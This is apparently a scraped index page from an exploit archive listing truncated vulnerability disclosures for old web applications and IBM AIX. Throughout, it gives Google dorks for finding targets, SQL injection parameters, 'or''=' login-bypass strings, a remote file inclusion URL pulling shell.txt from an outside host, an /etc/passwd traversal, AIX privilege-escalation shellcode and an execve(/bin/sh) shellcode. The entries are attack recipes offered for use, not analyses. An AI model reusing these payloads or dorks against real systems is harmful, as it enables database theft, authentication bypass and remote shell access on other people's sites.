eXV2 Module Viso 2.0.4.3 - kid SQL Injection

eXV2 Module Viso 2.0.4.3 - kid SQL Injection Powered by eXV2 Viso 2.03 SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÄ°L : [email protected] DORKS 1 : allinurl :"modules/viso" EXPLOIT 1 :...

Joomla Component Candle 1.0 (cID) SQL Injection Vulnerability

No description provided by source. JOOMLA comcandle SQL Injectioncid AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAiL : [email protected] DORK 1 : allinurl:"comcandle" EXPLOIT :...

xoopsbadliege-sql.txt

XOOPS Module badliege SQL Injection AUTHOR : S@BUN HOME 1 : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORK 1 : allinurl :"modules/badliege/index.php?op=show" DORK 2 : allinurl: EXPLOIT :...

adv86-K-159-2007.txt

ECHOADV86$2007 ----------------------------------------------------------------------------------------- ECHOADV86$2007 Mambo/Joomla Component rsgallery = 2.0 beta 5 catid Remote SQL Injection Vulnerability -----------------------------------------------------------------------------------------...

Blind Sql-Injection in Joomla 1.5 RC3

Thanks to team of Darkc0de.com Blind Sql-Injection in Joomla 1.5 RC3 URL : http://localhost/index.php 1. Parameter = view The following changes were applied to the original request: • Set parameter 'view's value to 'somechars'20+20'article' POC URL :...

IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit

No description provided by source. setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccddddx2fxf2x28x2f" egg="x60"2350 shellcode= by intropy at caughq.org "x7cxa5x2ax79" xor. r5,r5,r5 "x40x82xffxfd" bnel shellcode "x7fxe8x02xa6" mflr r31...

IBM AIX 5.3.0 - 'setlocale()' Local Privilege Escalation

setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...

SendStudio 2004.14 - 'ROOTDIR' Remote File Inclusion

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV66$2007 ----------------------------------------------------------------------------------------- ECHOADV66$2007 SendStudio = 2004.14 Remote File Inclusion Vulnerability...

linux/x86-64 execve(/bin/sh) 33 bytes

No description provided by source. Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi mov $0x3b,%...

Portail Web Php <= 2.5.1 (includes.php) Remote File Inclusion Vuln

No description provided by source. php web portail remote file include download site: https://sourceforge.net/project/showfiles.php?groupid=178400 product:php web portail bug: remote file include risk : high remote file include : /includes/includes.php?sitepath=http://site.com/shell.txt?%00 laure...

abittraversed.txt

vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

creadirectory [injection sql & xss]

vendor site: http://www.creascripts.com/ product:creadirectory bug: injection sql & xss risk : medium injection sql: /search.asp?search=1&submit=Search&category='sql xss: /addlisting.asp?cat=xss /search.asp?search=xss laurent gaffi & benjamin moss http://s-a-p.ca/ contact: [email protected]...

Classified System [injection sql]

vendor site: http://www.vspin.net/ product :Classified System bug:injection sql risk : medium injection sql : /cat.asp?cat='sql /search.asp?in=y&keyword='sql /search.asp?in=y&keyword=1&submit=Search&order='sql /search.asp?in=y&keyword=1&submit=Search&order=tblclassads.colid&sort='sql...

klfrealty.txt

vendor site:http://klf-design.com/ product :klf-realty bug:injection sql risk : medium injection sql : /searchlisting.asp?category='sql /detail.asp?propertyid='sql /searchlisting.asp?agent='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

Infinitytechs Restaurants CM

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

anm-sql.txt

vendor site:http://www.dotnetindex.com/ product:Active News Manager bug:injection sql risk:medium injection sql get http://site.com/activenews/activeNewscategories.asp?catID='sql http://site.com/activeNewscomments.asp?articleID='sql injection sqlpost : in the search engine:...

metacarteshop.txt

vendor site:http://metalinks.com/ product:MetaCart e-Shop bug:injection sql risk:medium injection sql get : http://site.com/metacart/productsByCategory.asp?intCatalogID='sql http://site.com/metacart/product.asp?intProdID='sql injection sqlpost : 1 http://site.com/metacart/searchAction.asp variabl...

E-Calendar Pro 3.0 [ login bypass & injection sql (post)]

vendor site:http://www.futuretec-soft.com/ product:E-Calendar Pro 3.0 bug:login bypass & injection sql post risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql post: in : /search.asp post your query into the search engine . laurent gaffie & benjamin mosse http://s-a-p.ca/...

dragonevents.txt

vendor site:http://www.dragoninternet.net/ product:Dragon Events Listing bug:login bypass & injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql get http://site.com/eventsearchdetail.asp?ID='sql http://site.com/venuedetail.asp?VenueID='sql laurent gaffié & benjam...

multicalendars.txt

vendor site:http://www.expinion.net/ product:MultiCalendars bug:injection sql risk:medium injection sql get http://site.com/rssout.asp?ID=1&MODE=1&M='sql http://site.com/rssout.asp?ID=1&MODE=1&M=10&Y='sql http://site.com/allcalendars.asp?month=11&year=2006&cate='sql...